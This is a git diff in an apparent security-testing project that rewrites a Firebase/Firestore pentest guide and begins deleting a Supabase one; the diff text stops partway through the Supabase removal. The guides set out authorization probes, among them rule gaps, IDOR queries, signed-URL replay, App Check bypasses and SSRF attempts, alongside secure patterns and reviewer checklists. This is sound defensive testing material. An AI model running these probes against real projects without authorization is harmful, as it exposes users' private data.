3. Build Resource × Action × Principal matrix across Firestore/Realtime/Storage/Functions. Exercise every action via SDK and raw REST (googleapis) to detect parity gaps.
|
|
||||||
4. Start from list/query paths (where allowed) to seed IDs; then swap document paths, tenants, and user IDs across principals and transports.
|
|
||||||
</methodology>
|
|
||||||
|
|
||||||
<architecture>
|
|
||||||
- Firestore REST: https://firestore.googleapis.com/v1/projects/<project>/databases/(default)/documents/<path>
|
|
||||||
- Storage REST: https://storage.googleapis.com/storage/v1/b/<bucket>
|
|
||||||
- Auth: Google-signed ID tokens (iss accounts.google.com/securetoken.google.com/<project>), aud <project/app-id>; identity is in sub/uid.
|
|
||||||
- Rules engines: separate for Firestore, Realtime DB, and Storage; Functions bypass rules when using Admin SDK.
|
|
||||||
</architecture>
|
|
||||||
|
|
||||||
<auth_and_tokens>
|
|
||||||
- ID token verification must enforce issuer, audience (project), signature (Google JWKS), expiration, and optionally App Check binding when used.
|
|
||||||
- Custom claims are appended by Admin SDK; client-supplied claims are ignored by Auth but may be trusted by app code if copied into docs.
|
|
||||||
- Pitfalls:
|
|
||||||
- Accepting any JWT with valid signature but wrong audience/project.
|
|
||||||
- Trusting uid/account IDs from request body instead of context.auth.uid in Functions.
|
|
||||||
- Mixing session cookies and ID tokens without verifying both paths equivalently.
|
|
||||||
- Tests:
|
|
||||||
- Replay tokens across environments/projects; expect strict aud/iss rejection server-side.
|
|
||||||
- Call Functions with and without Authorization; verify identical checks on both onCall and onRequest variants.
|
|
||||||
</auth_and_tokens>
|
|
||||||
|
|
||||||
<firestore_rules>
|
|
||||||
- Rules are not filters: a query must include constraints that make the rule true for all returned documents; otherwise reads fail. Do not rely on client to include where clauses correctly.
|
|
||||||
- Prefer ownership derived from request.auth.uid and server data, not from client payload fields.
|
|
||||||
- Common gaps:
|
|
||||||
- allow read: if request.auth != null (any user reads all data)
|
|
||||||
- allow write: if request.auth != null (mass write)
|
|
||||||
- Missing per-field validation (adds isAdmin/role/tenantId fields).
|
|
||||||
- Using client-supplied ownerId/orgId instead of enforcing doc.ownerId == request.auth.uid or membership in org.
|
|
||||||
- Over-broad list rules on root collections; per-doc checks exist but list still leaks via queries.
|
|
||||||
- Validation patterns:
|
|
||||||
- Restrict writes: request.resource.data.keys().hasOnly([...]) and forbid privilege fields.
|
|
||||||
- Enforce ownership: resource.data.ownerId == request.auth.uid && request.resource.data.ownerId == request.auth.uid
|
|
||||||
- Org membership: exists(/databases/(default)/documents/orgs/$(org)/members/$(request.auth.uid))
|
|
||||||
- Tests:
|
|
||||||
- Compare results for users A/B on identical queries; diff counts and IDs.
|
|
||||||
- Attempt cross-tenant reads: where orgId == otherOrg; try queries without org filter to confirm denial.
|
|
||||||
- Write-path: set/patch with foreign ownerId/orgId; attempt to flip privilege flags.
|
|
||||||
</firestore_rules>
|
|
||||||
|
|
||||||
<firestore_queries>
|
|
||||||
- Enumerate via REST to avoid SDK client-side constraints; try structured and REST filters.
|
|
||||||
- Probe composite index requirements: UI-driven queries may hide missing rule coverage when indexes are enabled but rules are broad.
|
|
||||||
- Explore collection group queries (collectionGroup) that may bypass per-collection rules if not mirrored.
|
|
||||||
- Use startAt/endAt/in/array-contains to probe rule edges and pagination cursors for cross-tenant bleed.
|
|
||||||
</firestore_queries>
|
|
||||||
|
|
||||||
<realtime_database>
|
|
||||||
- Misconfigured rules frequently expose entire JSON trees. Probe https://<project>.firebaseio.com/.json with and without auth.
|
|
||||||
- Confirm rules for read/write use auth.uid and granular path checks; avoid .read/.write: true or auth != null at high-level nodes.
|
|
||||||
- Attempt to write privilege-bearing nodes (roles, org membership) and observe downstream effects (e.g., Cloud Functions triggers).
|
|
||||||
</realtime_database>
|
|
||||||
|
|
||||||
<cloud_storage>
|
|
||||||
- Rules parallel Firestore but apply to object paths. Common issues:
|
|
||||||
- Public reads on sensitive buckets/paths.
|
|
||||||
- Signed URLs with long TTL, no content-disposition controls; replayable across tenants.
|
|
||||||
- List operations exposed: /o?prefix= enumerates object keys.
|
|
||||||
- Tests:
|
|
||||||
- GET gs:// paths via https endpoints without auth; verify content-type and Content-Disposition: attachment.
|
|
||||||
- Generate and reuse signed URLs across accounts and paths; try case/URL-encoding variants.
|
|
||||||
- Upload HTML/SVG and verify X-Content-Type-Options: nosniff; check for script execution.
|
|
||||||
</cloud_storage>
|
|
||||||
|
|
||||||
<cloud_functions>
|
|
||||||
- onCall provides context.auth automatically; onRequest must verify ID tokens explicitly. Admin SDK bypasses rules; all ownership/tenant checks must be enforced in code.
|
|
||||||
- Common gaps:
|
|
||||||
- Trusting client uid/orgId from request body instead of context.auth.
|
|
||||||
- Missing aud/iss verification when manually parsing tokens.
|
|
||||||
- Over-broad CORS allowing credentialed cross-origin requests; echoing Authorization in responses.
|
|
||||||
- Triggers (onCreate/onWrite) granting roles or issuing signed URLs solely based on document content controlled by the client.
|
|
||||||
- Tests:
|
|
||||||
- Call both onCall and equivalent onRequest endpoints with varied tokens and bodies; expect identical decisions.
|
|
||||||
- Create crafted docs to trigger privilege-granting functions; verify that server re-derives subject/tenant before acting.
|
|
||||||
- Attempt internal fetches (SSRF) via Functions to project/metadata endpoints.
|
|
||||||
</cloud_functions>
|
|
||||||
|
|
||||||
<app_check>
|
|
||||||
- App Check is not a substitute for authorization. Many apps enable App Check enforcement on client SDKs but do not verify on custom backends.
|
|
||||||
- Bypasses:
|
|
||||||
- Unenforced paths: REST calls directly to googleapis endpoints with ID token succeed regardless of App Check.
|
|
||||||
- Mobile reverse engineering: hook client and reuse ID token flows without attestation.
|
|
||||||
- Tests:
|
|
||||||
- Compare SDK vs REST behavior with/without App Check headers; confirm no elevated authorization via App Check alone.
|
|
||||||
</app_check>
|
|
||||||
|
|
||||||
<tenant_isolation>
|
|
||||||
- Apps often implement multi-tenant data models (orgs/<orgId>/...). Bind tenant from server context (membership doc or custom claim), not from client payload.
|
|
||||||
- Tests:
|
|
||||||
- Vary org header/subdomain/query while keeping token fixed; verify server denies cross-tenant access.
|
|
||||||
- Export/report Functions: ensure queries execute under caller scope; signed outputs must encode tenant and short TTL.
|
|
||||||
</tenant_isolation>
|
|
||||||
|
|
||||||
<bypass_techniques>
|
|
||||||
- Content-type switching: JSON vs form vs multipart to hit alternate code paths in onRequest Functions.
|
|
||||||
- Parameter/field pollution: duplicate JSON keys; last-one-wins in many parsers; attempt to sneak privilege fields.
|
|
||||||
- Caching/CDN: Hosting rewrites or proxies that key responses without Authorization or tenant headers.
|
|
||||||
- Race windows: write then read before background enforcements (e.g., post-write claim synchronizations) complete.
|
|
||||||
</bypass_techniques>
|
|
||||||
|
|
||||||
<blind_channels>
|
|
||||||
- Firestore: use error shape, document count, and ETag/length to infer existence under partial denial.
|
|
||||||
- Storage: length/timing differences on signed URL attempts leak validity.
|
|
||||||
- Functions: constant-time comparisons vs variable messages reveal authorization branches.
|
|
||||||
</blind_channels>
|
|
||||||
|
|
||||||
<tooling_and_automation>
|
|
||||||
- SDK + REST: httpie/curl + jq for REST; Firebase emulator and Rules Playground for rapid iteration.
|
|
||||||
- Mobile: apktool/objection/frida to extract config and hook SDK calls; inspect network logs for endpoints and tokens.
|
|
||||||
- Rules analysis: script rule probes for common patterns (auth != null, missing field validation, list vs get parity).
|
|
||||||
- Functions: fuzz onRequest endpoints with varied content-types and missing/forged Authorization; verify CORS and token handling.
|
|
||||||
- Storage: enumerate prefixes; test signed URL generation and reuse patterns.
|
|
||||||
</tooling_and_automation>
|
|
||||||
|
|
||||||
<reviewer_checklist>
|
|
||||||
- Do Firestore/Realtime/Storage rules derive subject and tenant from auth, not client fields?
|
|
||||||
- Are list/query rules aligned with per-doc checks (no broad list leaks)?
|
|
||||||
- Are privilege-bearing fields immutable or server-only (forbidden in writes)?
|
|
||||||
- Do Functions verify ID tokens (iss/aud/exp/signature) and re-derive identity before acting?
|
|
||||||
- Are Admin SDK operations scoped by server-side checks (ownership/tenant)?
|
|
||||||
- Is App Check treated as advisory, not authorization, across all paths?
|
|
||||||
- Are Hosting/CDN cache keys bound to Authorization/tenant to prevent leaks?
|
|
||||||
</reviewer_checklist>
|
|
||||||
|
|
||||||
<validation>
|
|
||||||
1. Provide owner vs non-owner Firestore queries showing unauthorized access or metadata leak.
|
|
||||||
2. Demonstrate Cloud Storage read/write beyond intended scope (public object, signed URL reuse, or list exposure).
|
|
||||||
3. Show a Function accepting forged/foreign identity (wrong aud/iss) or trusting client uid/orgId.
|
|
||||||
4. Document minimal reproducible requests with roles/tokens used and observed deltas.
|
|
||||||
</validation>
|
|
||||||
|
|
||||||
<false_positives>
|
|
||||||
- Public collections/objects documented and intended.
|
|
||||||
- Rules that correctly enforce per-doc checks with matching query constraints.
|
|
||||||
- Functions verifying tokens and ignoring client-supplied identifiers.
|
|
||||||
- App Check enforced but not relied upon for authorization.
|
|
||||||
</false_positives>
|
|
||||||
|
|
||||||
<impact>
|
|
||||||
- Cross-account and cross-tenant data exposure.
|
|
||||||
- Unauthorized state changes via Functions or direct writes.
|
|
||||||
- Exfiltration of PII/PHI and private files from Storage.
|
|
||||||
- Durable privilege escalation via misused custom claims or triggers.
|
|
||||||
</impact>
|
|
||||||
|
|
||||||
<pro_tips>
|
|
||||||
1. Treat apiKey as project identifier only; identity must come from verified ID tokens.
|
|
||||||
2. Start from rules: read them, then prove gaps with diffed owner/non-owner requests.
|
|
||||||
3. Prefer REST for parity checks; SDKs can mask errors via client-side filters.
|
|
||||||
4. Hunt privilege fields in docs and forbid them via rules; verify immutability.
|
|
||||||
5. Probe collectionGroup queries and list rules; many leaks live there.
|
|
||||||
6. Functions are the authority boundary—enforce subject/tenant there even if rules exist.
|
|
||||||
7. Keep concise PoCs: one owner vs non-owner request per surface that clearly demonstrates the unauthorized delta.
|
|
||||||
</pro_tips>
|
|
||||||
|
|
||||||
<remember>Authorization must hold at every layer: rules, Functions, and Storage. Bind subject and tenant from verified tokens and server data, never from client payload or UI assumptions. Any gap becomes a cross-account or cross-tenant vulnerability.</remember>
|
|
||||||
</firebase_firestore_security_guide>
|
|
||||||
211
strix/skills/technologies/firebase_firestore.md
Normal file
211
strix/skills/technologies/firebase_firestore.md
Normal file
@@ -0,0 +1,211 @@
|
|||||||
|
---
|
||||||
|
name: firebase-firestore
|
||||||
|
description: Firebase/Firestore security testing covering security rules, Cloud Functions, and client-side trust issues
|
||||||
|
---
|
||||||
|
|
||||||
|
# Firebase / Firestore
|
||||||
|
|
||||||
|
Security testing for Firebase applications. Focus on Firestore/Realtime Database rules, Cloud Storage exposure, callable/onRequest Functions trusting client input, and incorrect ID token validation.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
|
||||||
|
**Data Stores**
|
||||||
|
- Firestore (documents/collections, rules, REST/SDK)
|
||||||
|
- Realtime Database (JSON tree, rules)
|
||||||
|
- Cloud Storage (rules, signed URLs)
|
||||||
|
|
||||||
|
**Authentication**
|
||||||
|
- Auth ID tokens, custom claims, anonymous/sign-in providers
|
||||||
|
- App Check attestation (and its limits)
|
||||||
|
|
||||||
|
**Server-Side**
|
||||||
|
- Cloud Functions (onCall/onRequest, triggers)
|
||||||
|
- Admin SDK (bypasses rules)
|
||||||
|
|
||||||
|
**Infrastructure**
|
||||||
|
- Hosting rewrites, CDN/caching, CORS
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
**Endpoints**
|
||||||
|
- Firestore REST: `https://firestore.googleapis.com/v1/projects/<project>/databases/(default)/documents/<path>`
|
||||||
|
- Realtime DB: `https://<project>.firebaseio.com/.json`
|
||||||
|
- Storage REST: `https://storage.googleapis.com/storage/v1/b/<bucket>`
|
||||||
|
|
||||||
|
**Auth**
|
||||||
|
- Google-signed ID tokens (iss: `accounts.google.com` or `securetoken.google.com/<project>`)
|
||||||
|
- Audience: `<project>` or `<app-id>`, identity in `sub`/`uid`
|
||||||
|
- Rules engines: separate for Firestore, Realtime DB, and Storage
|
||||||
|
- Functions bypass rules when using Admin SDK
|
||||||
|
|
||||||
|
## High-Value Targets
|
||||||
|
|
||||||
|
- Firestore collections with sensitive data (users, orders, payments)
|
||||||
|
- Realtime Database root and high-level nodes
|
||||||
|
- Cloud Storage buckets with private files
|
||||||
|
- Cloud Functions (especially triggers that grant roles or issue signed URLs)
|
||||||
|
- Admin/staff routes and privilege-granting endpoints
|
||||||
|
- Export/report functions that generate signed outputs
|
||||||
|
|
||||||
|
## Reconnaissance
|
||||||
|
|
||||||
|
**Extract Project Config**
|
||||||
|
|
||||||
|
From client bundle:
|
||||||
|
```javascript
|
||||||
|
// apiKey, authDomain, projectId, appId, storageBucket, messagingSenderId
|
||||||
|
firebase.apps[0].options
|
||||||
|
```
|
||||||
|
|
||||||
|
**Obtain Principals**
|
||||||
|
- Unauthenticated
|
||||||
|
- Anonymous (if enabled)
|
||||||
|
- Basic user A, user B
|
||||||
|
- Staff/admin (if available)
|
||||||
|
|
||||||
|
Capture ID tokens for each.
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Firestore Rules
|
||||||
|
|
||||||
|
Rules are not filters—a query must include constraints that make the rule true for all returned documents.
|
||||||
|
|
||||||
|
**Common Gaps**
|
||||||
|
- `allow read: if request.auth != null` — any authenticated user reads all data
|
||||||
|
- `allow write: if request.auth != null` — mass write access
|
||||||
|
- Missing per-field validation (allows adding `isAdmin`/`role`/`tenantId` fields)
|
||||||
|
- Using client-supplied `ownerId`/`orgId` instead of `resource.data.ownerId == request.auth.uid`
|
||||||
|
- Over-broad list rules on root collections (per-doc checks exist but list still leaks)
|
||||||
|
|
||||||
|
**Secure Patterns**
|
||||||
|
```javascript
|
||||||
|
// Restrict write fields
|
||||||
|
request.resource.data.keys().hasOnly(['field1', 'field2', 'field3'])
|
||||||
|
|
||||||
|
// Enforce ownership
|
||||||
|
resource.data.ownerId == request.auth.uid &&
|
||||||
|
request.resource.data.ownerId == request.auth.uid
|
||||||
|
|
||||||
|
// Org membership check
|
||||||
|
exists(/databases/(default)/documents/orgs/$(org)/members/$(request.auth.uid))
|
||||||
|
```
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Compare results for users A/B on identical queries; diff counts and IDs
|
||||||
|
- Cross-tenant reads: `where orgId == otherOrg`; try queries without org filter
|
||||||
|
- Write-path: set/patch with foreign `ownerId`/`orgId`; attempt to flip privilege flags
|
||||||
|
|
||||||
|
### Firestore Queries
|
||||||
|
|
||||||
|
- Use REST to avoid SDK client-side constraints
|
||||||
|
- Probe composite index requirements (UI-driven queries may hide missing rule coverage)
|
||||||
|
- Explore `collectionGroup` queries that may bypass per-collection rules
|
||||||
|
- Use `startAt`/`endAt`/`in`/`array-contains` to probe rule edges and pagination cursors
|
||||||
|
|
||||||
|
### Realtime Database
|
||||||
|
|
||||||
|
- Misconfigured rules frequently expose entire JSON trees
|
||||||
|
- Probe `https://<project>.firebaseio.com/.json` with and without auth
|
||||||
|
- Confirm rules use `auth.uid` and granular path checks
|
||||||
|
- Avoid `.read/.write: true` or `auth != null` at high-level nodes
|
||||||
|
- Attempt to write privilege-bearing nodes (roles, org membership)
|
||||||
|
|
||||||
|
### Cloud Storage
|
||||||
|
|
||||||
|
**Common Issues**
|
||||||
|
- Public reads on sensitive buckets/paths
|
||||||
|
- Signed URLs with long TTL, no content-disposition controls, replayable across tenants
|
||||||
|
- List operations exposed: `/o?prefix=` enumerates object keys
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- GET gs:// paths via HTTPS without auth; verify Content-Type and `Content-Disposition: attachment`
|
||||||
|
- Generate and reuse signed URLs across accounts and paths; try case/URL-encoding variants
|
||||||
|
- Upload HTML/SVG and verify `X-Content-Type-Options: nosniff`; check for script execution
|
||||||
|
|
||||||
|
### Cloud Functions
|
||||||
|
|
||||||
|
`onCall` provides `context.auth` automatically; `onRequest` must verify ID tokens explicitly. Admin SDK bypasses rules—all ownership/tenant checks must be in code.
|
||||||
|
|
||||||
|
**Common Gaps**
|
||||||
|
- Trusting client `uid`/`orgId` from request body instead of `context.auth`
|
||||||
|
- Missing `aud`/`iss` verification when manually parsing tokens
|
||||||
|
- Over-broad CORS allowing credentialed cross-origin requests
|
||||||
|
- Triggers (onCreate/onWrite) granting roles based on document content controlled by client
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Call both onCall and onRequest endpoints with varied tokens; expect identical decisions
|
||||||
|
- Create crafted docs to trigger privilege-granting functions
|
||||||
|
- Attempt SSRF via Functions to project/metadata endpoints
|
||||||
|
|
||||||
|
### Auth & Token Issues
|
||||||
|
|
||||||
|
**Verification Requirements**
|
||||||
|
- Issuer, audience (project), signature (Google JWKS), expiration
|
||||||
|
- Optionally App Check binding when used
|
||||||
|
|
||||||
|
**Pitfalls**
|
||||||
|
- Accepting any JWT with valid signature but wrong audience/project
|
||||||
|
- Trusting `uid`/account IDs from request body instead of `context.auth.uid`
|
||||||
|
- Mixing session cookies and ID tokens without verifying both paths equivalently
|
||||||
|
- Custom claims copied into docs then trusted by app code
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Replay tokens across environments/projects; expect strict `aud`/`iss` rejection
|
||||||
|
- Call Functions with and without Authorization; verify identical checks
|
||||||
|
|
||||||
|
### App Check
|
||||||
|
|
||||||
|
App Check is not a substitute for authorization.
|
||||||
|
|
||||||
|
**Bypasses**
|
||||||
|
- REST calls directly to googleapis endpoints with ID token succeed regardless of App Check
|
||||||
|
- Mobile reverse engineering: hook client and reuse ID token flows without attestation
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Compare SDK vs REST behavior with/without App Check headers
|
||||||
|
- Confirm no elevated authorization via App Check alone
|
||||||
|
|
||||||
|
### Tenant Isolation
|
||||||
|
|
||||||
|
Apps often implement multi-tenant data models (`orgs/<orgId>/...`). Bind tenant from server context (membership doc or custom claim), not client payload.
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Vary org header/subdomain/query while keeping token fixed; verify server denies cross-tenant access
|
||||||
|
- Export/report Functions: ensure queries execute under caller scope
|
||||||
|
|
||||||
|
## Bypass Techniques
|
||||||
|
|
||||||
|
- Content-type switching: JSON vs form vs multipart to hit alternate code paths in onRequest
|
||||||
|
- Parameter/field pollution: duplicate JSON keys (last-one-wins in many parsers); sneak privilege fields
|
||||||
|
- Caching/CDN: Hosting rewrites keying responses without Authorization or tenant headers
|
||||||
|
- Race windows: write then read before background enforcements complete
|
||||||
|
|
||||||
|
## Blind Enumeration
|
||||||
|
|
||||||
|
- Firestore: use error shape, document count, ETag/length to infer existence
|
||||||
|
- Storage: length/timing differences on signed URL attempts leak validity
|
||||||
|
- Functions: constant-time comparisons vs variable messages reveal authorization branches
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Extract config** - Get project config from client bundle
|
||||||
|
2. **Obtain principals** - Collect tokens for unauth, anonymous, user A/B, admin
|
||||||
|
3. **Build matrix** - Resource × Action × Principal across Firestore/Realtime/Storage/Functions
|
||||||
|
4. **SDK vs REST** - Exercise every action via both to detect parity gaps
|
||||||
|
5. **Seed IDs** - Start from list/query paths to gather document IDs
|
||||||
|
6. **Cross-principal** - Swap document paths, tenants, and user IDs across principals
|
||||||
|
|
||||||
|
## Tooling
|
||||||
|
|
||||||
|
- SDK + REST: httpie/curl + jq for REST; Firebase emulator and Rules Playground for rapid iteration
|
||||||
|
- Rules analysis: script probes for common patterns (`auth != null`, missing field validation)
|
||||||
|
- Functions: fuzz onRequest with varied content-types and missing/forged Authorization
|
||||||
|
- Storage: enumerate prefixes; test signed URL generation and reuse patterns
|
||||||
|
|
||||||
|
## Validation Requirements
|
||||||
|
|
||||||
|
- Owner vs non-owner Firestore queries showing unauthorized access or metadata leak
|
||||||
|
- Cloud Storage read/write beyond intended scope (public object, signed URL reuse, list exposure)
|
||||||
|
- Function accepting forged/foreign identity (wrong `aud`/`iss`) or trusting client `uid`/`orgId`
|
||||||
|
- Minimal reproducible requests with roles/tokens used and observed deltas
|
||||||
@@ -1,189 +0,0 @@
|
|||||||
<supabase_security_guide>
|
|
||||||
<title>SUPABASE — ADVERSARIAL TESTING AND EXPLOITATION</title>
|
|
||||||
|
|
||||||
<critical>Supabase exposes Postgres through PostgREST, Realtime, GraphQL, Storage, Auth (GoTrue), and Edge Functions. Most impactful findings come from mis-scoped Row Level Security (RLS), unsafe RPCs, leaked service_role keys, lax Storage policies, GraphQL overfetching, and Edge Functions trusting headers or tokens without binding to issuer/audience/tenant.</critical>
|
|
||||||
|
|
||||||
<scope>
|
|
||||||
- PostgREST: table CRUD, filters, embeddings, RPC (remote functions)
|
|
||||||
- RLS: row ownership/tenant isolation via policies and auth.uid()
|
|
||||||
- Storage: buckets, objects, signed URLs, public/private policies
|
|
||||||
- Realtime: replication subscriptions, broadcast/presence channels
|
|
||||||
- GraphQL: pg_graphql over Postgres schema with RLS interaction
|
|
||||||
- Auth (GoTrue): JWTs, cookie/session, magic links, OAuth flows
|
|
||||||
- Edge Functions (Deno): server-side code calling Supabase with secrets
|
|
||||||
</scope>
|
|
||||||
|
|
||||||
<methodology>
|
|
||||||
1. Inventory surfaces: REST /rest/v1, Storage /storage/v1, GraphQL /graphql/v1, Realtime wss, Auth /auth/v1, Functions https://<project>.functions.supabase.co/.
|
|
||||||
2. Obtain tokens for: unauth (anon), basic user, other user, and (if disclosed) admin/staff; enumerate anon key exposure and verify if service_role leaked anywhere.
|
|
||||||
3. Build a Resource × Action × Principal matrix and test each via REST and GraphQL. Confirm parity across channels and content-types (json/form/multipart).
|
|
||||||
4. Start with list/search/export endpoints to gather IDs, then attempt direct reads/writes across principals, tenants, and transports. Validate RLS and function guards.
|
|
||||||
</methodology>
|
|
||||||
|
|
||||||
<architecture>
|
|
||||||
- Project endpoints: https://<ref>.supabase.co; REST at /rest/v1/<table>, RPC at /rest/v1/rpc/<fn>.
|
|
||||||
- Headers: apikey: <anon-or-service>, Authorization: Bearer <JWT>. Anon key only identifies the project; JWT binds user context.
|
|
||||||
- Roles: anon, authenticated; service_role bypasses RLS and must never be client-exposed.
|
|
||||||
- auth.uid(): current user UUID claim; policies must never trust client-supplied IDs over server context.
|
|
||||||
</architecture>
|
|
||||||
|
|
||||||
<rls>
|
|
||||||
- Enable RLS on every non-public table; absence or “permit-all” policies → bulk exposure.
|
|
||||||
- Common gaps:
|
|
||||||
- Policies check auth.uid() for read but forget UPDATE/DELETE/INSERT.
|
|
||||||
- Missing tenant constraints (org_id/tenant_id) allow cross-tenant reads/writes.
|
|
||||||
- Policies rely on client-provided columns (user_id in payload) instead of deriving from JWT.
|
|
||||||
- Complex joins where the effective policy is applied after filters, enabling inference via counts or projections.
|
|
||||||
- Tests:
|
|
||||||
- Compare results for two users: GET /rest/v1/<table>?select=*&Prefer=count=exact; diff row counts and IDs.
|
|
||||||
- Try cross-tenant: add &org_id=eq.<other_org> or use or=(org_id.eq.other,org_id.is.null).
|
|
||||||
- Write-path: PATCH/DELETE single row with foreign id; INSERT with foreign owner_id then read.
|
|
||||||
</rls>
|
|
||||||
|
|
||||||
<postgrest_and_rest>
|
|
||||||
- Filters: eq, neq, lt, gt, ilike, or, is, in; embed relations with select=*,profile(*); exploit embeddings to overfetch linked rows if resolvers skip per-row checks.
|
|
||||||
- Headers to know: Prefer: return=representation (echo writes), Prefer: count=exact (exposure via counts), Accept-Profile/Content-Profile to select schema.
|
|
||||||
- IDOR patterns: /rest/v1/<table>?select=*&id=eq.<other_id>; query alternative keys (slug, email) and composite keys.
|
|
||||||
- Search leaks: generous LIKE/ILIKE filters + lack of RLS → mass disclosure.
|
|
||||||
- Mass assignment: if RPC not used, PATCH can update unintended columns; verify restricted columns via database permissions/policies.
|
|
||||||
</postgrest_and_rest>
|
|
||||||
|
|
||||||
<rpc_functions>
|
|
||||||
- RPC endpoints map to SQL functions. SECURITY DEFINER bypasses RLS unless carefully coded; SECURITY INVOKER respects caller.
|
|
||||||
- Anti-patterns:
|
|
||||||
- SECURITY DEFINER + missing owner checks → vertical/horizontal bypass.
|
|
||||||
- set search_path left to public; function resolves unsafe objects.
|
|
||||||
- Trusting client-supplied user_id/tenant_id rather than auth.uid().
|
|
||||||
- Tests:
|
|
||||||
- Call /rest/v1/rpc/<fn> as different users with foreign ids in body.
|
|
||||||
- Remove or alter JWT entirely (Authorization: Bearer <anon>) to see if function still executes.
|
|
||||||
- Validate that functions perform explicit ownership/tenant checks inside SQL, not only in docs.
|
|
||||||
</rpc_functions>
|
|
||||||
|
|
||||||
<storage>
|
|
||||||
- Buckets: public vs private; objects live in storage.objects with RLS-like policies.
|
|
||||||
- Find misconfigs:
|
|
||||||
- Public buckets holding sensitive data: GET https://<ref>.supabase.co/storage/v1/object/public/<bucket>/<path>
|
|
||||||
- Signed URLs with long TTL and no audience binding; reuse/guess tokens across tenants/paths.
|
|
||||||
- Listing prefixes without auth: /storage/v1/object/list/<bucket>?prefix=
|
|
||||||
- Path confusion: mixed case, URL-encoding, “..” segments rejected at UI but accepted by API.
|
|
||||||
- Abuse vectors:
|
|
||||||
- Content-type/XSS: upload HTML/SVG served as text/html or image/svg+xml; confirm X-Content-Type-Options: nosniff and Content-Disposition: attachment.
|
|
||||||
- Signed URL replay across accounts/buckets if validation is lax.
|
|
||||||
</storage>
|
|
||||||
|
|
||||||
<realtime>
|
|
||||||
- Endpoint: wss://<ref>.supabase.co/realtime/v1. Join channels with apikey + Authorization.
|
|
||||||
- Risks:
|
|
||||||
- Channel names derived from table/schema/filters leaking other users’ updates when RLS or channel guards are weak.
|
|
||||||
- Broadcast/presence channels allowing cross-room join/publish without auth checks.
|
|
||||||
- Tests:
|
|
||||||
- Subscribe to public:realtime changes on protected tables; confirm row data visibility aligns with RLS.
|
|
||||||
- Attempt joining other users’ presence/broadcast channels (e.g., room:<user_id>, org:<id>).
|
|
||||||
</realtime>
|
|
||||||
|
|
||||||
<graphql>
|
|
||||||
- Endpoint: /graphql/v1 using pg_graphql with RLS. Risks:
|
|
||||||
- Introspection reveals schema relations; ensure it’s intentional.
|
|
||||||
- Overfetch via nested relations where field resolvers fail to re-check ownership/tenant.
|
|
||||||
- Global node IDs (if implemented) leaked and reusable via different viewers.
|
|
||||||
- Tests:
|
|
||||||
- Compare REST vs GraphQL responses for the same principal and query shape.
|
|
||||||
- Query deep nested fields and connections; verify RLS holds at each edge.
|
|
||||||
</graphql>
|
|
||||||
|
|
||||||
<auth_and_tokens>
|
|
||||||
- GoTrue issues JWTs with claims (sub=uid, role, aud=authenticated). Validate on server: issuer, audience, exp, signature, and tenant context.
|
|
||||||
- Pitfalls:
|
|
||||||
- Storing tokens in localStorage → XSS exfiltration; refresh mismanagement leading to long-lived sessions.
|
|
||||||
- Treating apikey as identity; it is project-scoped, not user identity.
|
|
||||||
- Exposing service_role key in client bundle or Edge Function responses.
|
|
||||||
- Tests:
|
|
||||||
- Replay tokens across services; check audience/issuer pinning.
|
|
||||||
- Try downgraded tokens (expired/other audience) against custom endpoints.
|
|
||||||
</auth_and_tokens>
|
|
||||||
|
|
||||||
<edge_functions>
|
|
||||||
- Deno-based functions often initialize server-side Supabase client with service_role. Risks:
|
|
||||||
- Trusting Authorization/apikey headers without verifying JWT against issuer/audience.
|
|
||||||
- CORS: wildcard origins with credentials; reflected Authorization in responses.
|
|
||||||
- SSRF via fetch; secrets exposed via error traces or logs.
|
|
||||||
- Tests:
|
|
||||||
- Call functions with and without Authorization; compare behavior.
|
|
||||||
- Try foreign resource IDs in function payloads; verify server re-derives user/tenant from JWT.
|
|
||||||
- Attempt to reach internal endpoints (metadata services, project endpoints) via function fetch.
|
|
||||||
</edge_functions>
|
|
||||||
|
|
||||||
<tenant_isolation>
|
|
||||||
- Ensure every query joins or filters by tenant_id/org_id derived from JWT context, not client input.
|
|
||||||
- Tests:
|
|
||||||
- Change subdomain/header/path tenant selectors while keeping JWT tenant constant; look for cross-tenant data.
|
|
||||||
- Export/report endpoints: confirm queries execute under caller scope; signed outputs must encode tenant and short TTL.
|
|
||||||
</tenant_isolation>
|
|
||||||
|
|
||||||
<bypass_techniques>
|
|
||||||
- Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data to hit different code paths.
|
|
||||||
- Parameter pollution: duplicate keys in JSON/query; PostgREST chooses last/first depending on parser.
|
|
||||||
- GraphQL+REST parity probing: protections often drift; fetch via the weaker path.
|
|
||||||
- Race windows: parallel writes to bypass post-insert ownership updates.
|
|
||||||
</bypass_techniques>
|
|
||||||
|
|
||||||
<blind_channels>
|
|
||||||
- Use Prefer: count=exact and ETag/length diffs to infer unauthorized rows.
|
|
||||||
- Conditional requests (If-None-Match) to detect object existence without content exposure.
|
|
||||||
- Storage signed URLs: timing/length deltas to map valid vs invalid tokens.
|
|
||||||
</blind_channels>
|
|
||||||
|
|
||||||
<tooling_and_automation>
|
|
||||||
- PostgREST: httpie/curl + jq; enumerate tables with known names; fuzz filters (or=, ilike, neq, is.null).
|
|
||||||
- GraphQL: graphql-inspector, voyager; build deep queries to test field-level enforcement; complexity/batching tests.
|
|
||||||
- Realtime: custom ws client; subscribe to suspicious channels/tables; diff payloads per principal.
|
|
||||||
- Storage: enumerate bucket listing APIs; script signed URL generation/use patterns.
|
|
||||||
- Auth/JWT: jwt-cli/jose to validate audience/issuer; replay against Edge Functions.
|
|
||||||
- Policy diffing: maintain request sets per role and compare results across releases.
|
|
||||||
</tooling_and_automation>
|
|
||||||
|
|
||||||
<reviewer_checklist>
|
|
||||||
- Are all non-public tables RLS-enabled with explicit SELECT/INSERT/UPDATE/DELETE policies?
|
|
||||||
- Do policies derive subject/tenant from JWT (auth.uid(), tenant claim) rather than client payload?
|
|
||||||
- Do RPC functions run as SECURITY INVOKER, or if DEFINER, do they enforce ownership/tenant inside?
|
|
||||||
